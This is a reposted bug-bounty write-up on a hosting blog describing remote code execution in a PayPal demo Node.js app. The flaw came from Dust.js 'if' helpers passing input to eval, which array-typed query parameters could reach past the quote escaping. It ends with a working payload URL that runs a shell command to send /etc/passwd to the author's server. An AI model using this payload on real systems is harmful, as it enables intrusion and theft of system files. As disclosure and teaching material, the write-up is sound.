• Latest
  • Trending
  • All
  • cPanel
[demo.paypal.com] Node.js code injection (RCE)

[demo.paypal.com] Node.js code injection (RCE)

August 19, 2016

Threat Spotlight: Malicious HTML attachments

June 28, 2022

How to Build a Website Using Patterns in WordPress FSE – InMotion Hosting Support Center

June 27, 2022

EmoCheck – Emotet Detection Tool For Windows OS

June 27, 2022

Quickpost: Cracking PDF Owner Passwords

June 27, 2022

Sealighter – Easy ETW Tracing for Security Research

June 26, 2022

10 Best Linux Games for Free 2022

June 26, 2022
Tutorial
  • cPanel
  • News
  • Technology
    • Coding
    • Hosting
    • Gadgets
  • Cyber Security
No Result
View All Result
Tutorial
  • cPanel
  • News
  • Technology
    • Coding
    • Hosting
    • Gadgets
  • Cyber Security
No Result
View All Result
Tutorial
No Result
View All Result
Home Cyber Security

[demo.paypal.com] Node.js code injection (RCE)

anchani by anchani
August 19, 2016
in Cyber Security
Reading Time: 3 mins read
289 3
A A
0
[demo.paypal.com] Node.js code injection (RCE)
547
SHARES
3.6k
VIEWS
Share on FacebookShare on Twitter



When I am trying to find vulnerabilities in web applications, I always perform fuzzing of all http parameters, and sometimes it gives me something interesting:

The demo.paypal.com server was responding differently for ‘\’ and ‘%0a’ requests and was throwing a ‘syntax error’ in responses. At the same time for single quote, double quote and other characters the server was responding with HTTP 200 OK.

From error messages I found out that PayPal Node.js application uses Dust.js javascript templating engine on server-side, so I decided to take a look. After looking at its source code on github, I figured out that the problem is connected with using “if” dust.js helpers.

The old version of Dust.js supports “if” helpers, you can use them in your code like that:

And the “if” helper internally uses javascript eval, for complex expression evaluation:
https://github.com/linkedin/dustjs-helpers/blob/03cd65f51a6983ae25143bfd6533b2eef6f3f63b/lib/dust-helpers.js#L215

Eval! Yeah, why not? It’s a simple and elegant solution.

So when I send a request to http://_demo.paypal.com/demo/navigation?device=xxx\ application is trying to evaluate the following javascript expression:

Which throws a syntax error.

Does that mean that user supplied input comes to eval() directly? Not actually, the application performed replacement for several dangerous characters like single quote (‘) and double quote (“) with html encoding (‘ -> '), so we cannot directly close the string and execute arbitrary javascript code. But let’s look closer at the function that makes this replacement:

https://github.com/linkedin/dustjs/blob/c20e70edb2041a66067a010bdefbf9fe3267c7ab/lib/dust.js#L846

Hmmm, but what if the ‘s’ parameter is not a string? In Node.js we can send a request like paypal.com/?device[]=1&device[]=2 and the ‘device’ parameter will be parsed by qs module as an Array, instead of string.

I quickly made a request to https://_demo.paypal.com/demo/navigation?device[]=&device[]=’ and when the server responded with ‘syntax error’ my chair started to shake under me.

I am a bit friendly with Node.js, so it took me few minutes to craft a test payload that sends ‘/etc/passwd’ file to my server.

https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y’-require(‘child_process’).exec(‘curl+-F+”x=`cat+/etc/passwd`”+artsploit.com’)-‘

This string was worth $10.000 for me.



Source link

Previous Post

Cerber: Analyzing a Ransomware Attack Methodology To Enable Protection

Next Post

LuaBot: Malware targeting cable modems

anchani

anchani

Related Posts

Cyber Security

Threat Spotlight: Malicious HTML attachments

June 28, 2022
Cyber Security

EmoCheck – Emotet Detection Tool For Windows OS

June 27, 2022
Cyber Security

Quickpost: Cracking PDF Owner Passwords

June 27, 2022
Next Post

LuaBot: Malware targeting cable modems

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

You might also like

Threat Spotlight: Malicious HTML attachments

June 28, 2022

How to Build a Website Using Patterns in WordPress FSE – InMotion Hosting Support Center

June 27, 2022

EmoCheck – Emotet Detection Tool For Windows OS

June 27, 2022

Quickpost: Cracking PDF Owner Passwords

June 27, 2022

Sealighter – Easy ETW Tracing for Security Research

June 26, 2022

10 Best Linux Games for Free 2022

June 26, 2022
Host Help

We bring you the best Premium WordPress Themes that perfect for news, magazine, personal blog, etc. Check our landing page for details.

  • Home
  • cPanel
  • Technology
  • Gadget
  • Design

© 2022 HostHelp.org -Tutorials for your hosting solutions HostHelp.org.

No Result
View All Result
  • cPanel
  • News
  • Technology
    • Coding
    • Hosting
    • Gadgets
  • Cyber Security

© 2022 HostHelp.org -Tutorials for your hosting solutions HostHelp.org.

Welcome Back!

Login to your account below

Forgotten Password?

Retrieve your password

Please enter your username or email address to reset your password.

Log In